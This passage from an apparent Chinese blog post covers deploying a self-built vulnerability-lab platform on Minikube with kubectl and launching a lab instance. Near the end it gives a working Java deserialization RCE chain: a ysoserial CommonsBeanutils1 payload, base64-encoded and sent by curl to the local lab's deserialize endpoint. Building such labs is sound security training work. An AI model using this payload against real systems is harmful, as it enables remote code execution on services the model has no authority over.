    Bash

    sudo minikube tunnel
    
  • 保持这个终端窗口运行。 不要关闭它,否则通过 localhost 的 Ingress 访问会中断。您应该会看到类似 ✅ 隧道成功启动 的消息。

3. 部署 vulnerability-definition-service

  • 打开一个新的终端窗口(或者使用之前的,只要不是运行 minikube tunnel 的那个)。

  • 导航到您的 YAML 文件所在的目录,例如 cd tian-shu-platform/kubernetes-manifests/platform/

  • 应用 Deployment 和 Service YAML:

    Bash

    kubectl apply -f vulnerability-definition-service-deployment.yaml
    kubectl apply -f vulnerability-definition-service-svc.yaml
    
  • 验证服务状态:

    Bash

    kubectl get deployment vulnerability-definition-service-deployment -n default
    kubectl get pods -l app=vulnerability-definition-service -n default -w
    kubectl get service vulnerability-definition-service-svc -n default
    

    确保 Deployment 的

    READY
    

    1/1
    

    ,Pod 是

    Running
    

    READY 1/1
    

4. 部署 lab-orchestration-service (包括其 RBAC)

  • 在同一个终端窗口和目录下:

  • 应用 RBAC, Deployment, 和 Service YAML:

    Bash

    kubectl apply -f lab-orchestration-service-rbac.yaml
    kubectl apply -f lab-orchestration-service-deployment.yaml
    kubectl apply -f lab-orchestration-service-svc.yaml
    
  • 验证服务状态:

    Bash

    kubectl get deployment lab-orchestration-service-deployment -n default
    kubectl get pods -l app=lab-orchestration-service -n default -w
    kubectl get service lab-orchestration-service-svc -n default
    

    确保 Deployment 的

    READY
    

    1/1
    

    ,Pod 是

    Running
    

    READY 1/1
    

    • 重要:

      检查

      lab-orchestration-service
      

      Pod 的日志,确保它能连接到

      vulnerability-definition-service
      

      (通过 K8s 内部 DNS)。

      Bash

      # 找到Pod名称
      LAB_ORCH_POD_NAME=$(kubectl get pods -l app=lab-orchestration-service -n default -o jsonpath='{.items[0].metadata.name}')
      kubectl logs $LAB_ORCH_POD_NAME -n default -f
      

      如果日志中有关于无法连接到

      vuln-def-service-svc.default.svc.cluster.local:8081
      

      的错误,请确保

      vulnerability-definition-service
      

      已成功启动且其 Service 配置正确。

5. 部署平台 Ingress 规则

  • 在同一个终端窗口和目录下:

  • 应用 Ingress YAML:

    Bash

    kubectl apply -f platform-ingress.yaml
    
  • 验证 Ingress 状态:

    Bash

    kubectl get ingress tianshu-platform-ingress -n default
    

    查看 ADDRESS 列(由于 minikube tunnel,这里可能是 localhost 或 Minikube IP)和 HOSTS 列。

    kubectl describe ingress tianshu-platform-ingress -n default

    查看 Ingress 的后端是否正确指向了您的两个 Service。

6. 测试通过 Ingress 访问核心服务

  • 前提: sudo minikube tunnel 仍在运行。
  • 打开浏览器或 Postman:
    • 访问 vulnerability-definition-service : http://localhost/definitions/api/v1/definitions (假设您的 Ingress 路径和重写规则是这样配置的)
    • 尝试访问 lab-orchestration-service 的一个端点(例如,一个健康检查端点,如果配置了 Actuator 的话,或者准备好调用 /launch 端点): http://localhost/orchestration/api/v1/some-endpoint (具体端点根据您的 API 设计)

7. (如果以上都成功) 尝试启动一个靶场实例

  • 通过 Ingress 调用 lab-orchestration-service 的 /launch

    API:

    • Method: POST

    • URL: http://localhost/orchestration/api/v1/labs/launch

    • Body (raw, JSON):

      JSON

      {
          "vulnerabilityId": "sqli-java-001",
          "userId": "k8sLiveTestUser"
      }
      
  • 观察:

    • lab-orchestration-service Pod 的日志,看它是否成功创建了靶场的 Deployment, Service (ClusterIP), 和 Ingress。
    • kubectl get deployment,service,ingress,pod -n default -l instanceType=lab-environment 查看新创建的靶场资源。
    • API 的响应,获取新靶场的 accessUrl (应该类似 http://localhost/labs/<instanceId>/ )。
  • 访问靶场:

    • 在浏览器中打开返回的 accessUrl

Payload:

java -jar ysoserial-all.jar CommonsBeanutils1 "/usr/bin/touch /tmp/rce_success" > payload_cb.bin
(base) ➜  网络安全工具 base64 -i payload_cb.bin -o payload_cb.b64
curl -X POST -H "Content-Type: text/plain" --data "@payload_cb.b64" http://localhost/labs/lab-deserialize-java8-rce-001-frontenduser-044ec9cd/api/deserialize

成功利用集成平台的第二个漏洞

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

尘落 微信支付

微信支付

尘落 支付宝

支付宝

尘落 贝宝

贝宝